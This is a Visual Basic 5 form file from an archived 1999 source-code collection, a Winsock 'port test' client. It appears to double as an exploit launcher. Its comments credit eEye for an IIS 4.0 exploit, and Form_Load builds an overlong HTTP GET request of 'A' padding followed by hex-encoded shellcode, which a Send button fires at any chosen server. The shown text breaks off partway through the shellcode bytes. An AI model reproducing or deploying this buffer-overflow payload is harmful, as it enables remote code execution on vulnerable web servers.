home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / netpor1a / frm_main.frm
Text File  |  1999-07-24  |  14KB  |  287 lines
  1. VERSION 5.00
  2. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  3. Begin VB.Form Frm_Main 
  4.    Caption         =   "WS Port Test - http://www.tair.freeservers.com for much more ..."
  5.    ClientHeight    =   3375
  6.    ClientLeft      =   60
  7.    ClientTop       =   345
  8.    ClientWidth     =   7395
  9.    LinkTopic       =   "Form1"
  10.    ScaleHeight     =   3375
  11.    ScaleWidth      =   7395
  12.    StartUpPosition =   3  'Windows Default
  13.    Begin VB.ComboBox txt_Request 
  14.       Height          =   315
  15.       ItemData        =   "Frm_Main.frx":0000
  16.       Left            =   1080
  17.       List            =   "Frm_Main.frx":0025
  18.       TabIndex        =   13
  19.       Top             =   480
  20.       Width           =   6255
  21.    End
  22.    Begin MSWinsockLib.Winsock WS_Conn 
  23.       Left            =   240
  24.       Top             =   1200
  25.       _ExtentX        =   741
  26.       _ExtentY        =   741
  27.       _Version        =   393216
  28.    End
  29.    Begin VB.CommandButton Cmd_Close 
  30.       Caption         =   "Close"
  31.       Height          =   375
  32.       Left            =   5880
  33.       TabIndex        =   9
  34.       Top             =   2640
  35.       Width           =   1455
  36.    End
  37.    Begin VB.TextBox Txt_Response 
  38.       Height          =   1695
  39.       Left            =   1080
  40.       Locked          =   -1  'True
  41.       MultiLine       =   -1  'True
  42.       ScrollBars      =   3  'Both
  43.       TabIndex        =   5
  44.       Top             =   840
  45.       Width           =   6255
  46.    End
  47.    Begin VB.TextBox Txt_Port 
  48.       Height          =   285
  49.       Left            =   6480
  50.       TabIndex        =   1
  51.       Top             =   120
  52.       Width           =   855
  53.    End
  54.    Begin VB.TextBox Txt_Server 
  55.       Height          =   285
  56.       Left            =   1080
  57.       TabIndex        =   0
  58.       Top             =   120
  59.       Width           =   4695
  60.    End
  61.    Begin VB.CommandButton Cmd_Send_CRLF_CRLF 
  62.       Caption         =   "<CRLF>.<CRLF>"
  63.       Height          =   375
  64.       Left            =   4440
  65.       TabIndex        =   12
  66.       Top             =   2640
  67.       Width           =   1455
  68.    End
  69.    Begin VB.CommandButton Cmd_Send_CRLF 
  70.       Caption         =   "<CRLF>"
  71.       Height          =   375
  72.       Left            =   3000
  73.       TabIndex        =   11
  74.       Top             =   2640
  75.       Width           =   1455
  76.    End
  77.    Begin VB.CommandButton Cmd_Send 
  78.       Caption         =   "Send"
  79.       Height          =   375
  80.       Left            =   1560
  81.       TabIndex        =   8
  82.       Top             =   2640
  83.       Width           =   1455
  84.    End
  85.    Begin VB.CommandButton Cmd_Connect 
  86.       Caption         =   "Connect"
  87.       Height          =   375
  88.       Left            =   120
  89.       TabIndex        =   7
  90.       Top             =   2640
  91.       Width           =   1455
  92.    End
  93.    Begin VB.Label Lbl_status 
  94.       Caption         =   "Ready"
  95.       Height          =   255
  96.       Left            =   120
  97.       TabIndex        =   10
  98.       Top             =   3120
  99.       Width           =   7095
  100.    End
  101.    Begin VB.Label Label4 
  102.       Caption         =   "Response"
  103.       Height          =   255
  104.       Left            =   240
  105.       TabIndex        =   6
  106.       Top             =   840
  107.       Width           =   855
  108.    End
  109.    Begin VB.Label Label3 
  110.       Caption         =   "Request"
  111.       Height          =   255
  112.       Left            =   240
  113.       TabIndex        =   4
  114.       Top             =   480
  115.       Width           =   735
  116.    End
  117.    Begin VB.Label Label2 
  118.       Caption         =   "Port"
  119.       Height          =   255
  120.       Left            =   5880
  121.       TabIndex        =   3
  122.       Top             =   120
  123.       Width           =   375
  124.    End
  125.    Begin VB.Label Label1 
  126.       Caption         =   "Server"
  127.       Height          =   255
  128.       Left            =   240
  129.       TabIndex        =   2
  130.       Top             =   120
  131.       Width           =   615
  132.    End
  133. End
  134. Attribute VB_Name = "Frm_Main"
  135. Attribute VB_GlobalNameSpace = False
  136. Attribute VB_Creatable = False
  137. Attribute VB_PredeclaredId = True
  138. Attribute VB_Exposed = False
  139. 'Try to connect to any server
  140. 'Exploit Text slightly changed ;) do not try it when find IIS 4.0 server
  141. '(Exploid text is a busness of eEye.com)
  142.  
  143. Dim Exploid_Text1 As String
  144. Dim Exploid_Text2 As String
  145. Dim Exploid_Text3 As String
  146.  
  147. Private Sub Cmd_Close_Click()
  148.    WS_Conn.Close
  149.    Lbl_status.Caption = "Closing ..."
  150.    Lbl_status.Refresh
  151.    Txt_Response.Text = ""
  152.    Txt_Response.Refresh
  153.  
  154. End Sub
  155.  
  156. Private Sub Cmd_Connect_Click()
  157.    If WS_Conn.State = sckOpen Or Txt_Port.Text = "" Or Txt_Server.Text = "" Or Not (IsNumeric(Txt_Port.Text)) Then
  158.       Exit Sub
  159.    End If
  160.  
  161.    WS_Conn.Connect Txt_Server.Text, CLng(Txt_Port.Text)
  162.    Lbl_status.Caption = "Connecting ..."
  163.    Lbl_status.Refresh
  164. End Sub
  165.  
  166. Private Sub Cmd_Send_Click()
  167. Dim outBuffer As String
  168.    If WS_Conn.State = sckClosed Then
  169.       Exit Sub
  170.    End If
  171.    Lbl_status.Caption = "Request ..."
  172.    Lbl_status.Refresh
  173.    If txt_Request = "Exploid Text" Then
  174.       outBuffer = Exploid_Text1 & Exploid_Text2 & Exploid_Text3
  175.       'MsgBox outBuffer
  176.    Else
  177.       outBuffer = txt_Request.Text
  178.    End If
  179.    WS_Conn.SendData outBuffer
  180. End Sub
  181.  
  182. Private Sub Cmd_Send_CRLF_Click()
  183.    If WS_Conn.State = sckClosed Then
  184.       Exit Sub
  185.    End If
  186.   Dim outBuffer As String
  187.    outBuffer = Chr(13) & Chr(10)
  188.    WS_Conn.SendData outBuffer
  189. End Sub
  190.  
  191. Private Sub Cmd_Send_CRLF_CRLF_Click()
  192.    If WS_Conn.State = sckClosed Then
  193.       Exit Sub
  194.    End If
  195.   Dim outBuffer As String
  196.    outBuffer = Chr(13) & Chr(10) & "." & Chr(13) & Chr(10)
  197.    WS_Conn.SendData outBuffer
  198. End Sub
  199.  
  200. Private Sub Form_Load()
  201.    Exploid_Text1 = "GET /AAAAAAA" & _
  202.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  203.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  204.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  205.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  206.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  207.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  208.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  209.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  210.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  211.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  212.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" & _
  213.     Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&H41) & Chr(&HB0) & Chr(&H87) & Chr(&H67) & Chr(&H68) & Chr(&HB0) & Chr(&H87) & _
  214.     Chr(&H67) & Chr(&H68) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H90) & Chr(&H58) & Chr(&H58) & Chr(&H90) & Chr(&H33) & Chr(&HC0) & Chr(&H50) & _
  215.     Chr(&H5B) & Chr(&H53) & Chr(&H59) & Chr(&H8B) & Chr(&HDE) & Chr(&H66) & Chr(&HB8) & Chr(&H21) & Chr(&H2) & Chr(&H3) & Chr(&HD8) & Chr(&H32) & _
  216.     Chr(&HC0) & Chr(&HD7) & Chr(&H2C) & Chr(&H21) & Chr(&H88) & Chr(&H3) & Chr(&H4B) & Chr(&H3C) & Chr(&HDE) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & _
  217.     Chr(&H43) & Chr(&HBA) & Chr(&HD0) & Chr(&H10) & Chr(&H67) & Chr(&H68) & Chr(&H52) & Chr(&H51) & Chr(&H53) & Chr(&HFF) & Chr(&H12) & Chr(&H8B) & _
  218.     Chr(&HF0) & Chr(&H8B) & Chr(&HF9) & Chr(&HFC) & Chr(&H59) & Chr(&HB1) & Chr(&H6) & Chr(&H90) & Chr(&H5A) & Chr(&H43) & Chr(&H32) & Chr(&HC0) & _
  219.     Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & Chr(&H52) & Chr(&H51) & _
  220.     Chr(&H53) & Chr(&H56) & Chr(&HB2) & Chr(&H54) & Chr(&HFF) & Chr(&H12) & Chr(&HAB) & Chr(&H59) & Chr(&H5A) & Chr(&HE2) & Chr(&HE6) & Chr(&H43) & _
  221.     Chr(&H32) & Chr(&HC0) & Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & Chr(&HF4) & Chr(&H43) & _
  222.     Chr(&H52) & Chr(&H53) & Chr(&HFF) & Chr(&H12) & Chr(&H8B) & Chr(&HF0) & Chr(&H5A) & Chr(&H33) & Chr(&HC9) & Chr(&H50) & Chr(&H58) & Chr(&HB1) & _
  223.     Chr(&H5) & Chr(&H43) & Chr(&H32) & Chr(&HC0) & Chr(&HD7) & Chr(&H50) & Chr(&H58) & Chr(&H84) & Chr(&HC0) & Chr(&H50) & Chr(&H58) & Chr(&H75) & _
  224.     Chr(&HF4) & Chr(&H43) & Chr(&H52) & Chr(&H51) & Chr(&H53) & Chr(&H56) & Chr(&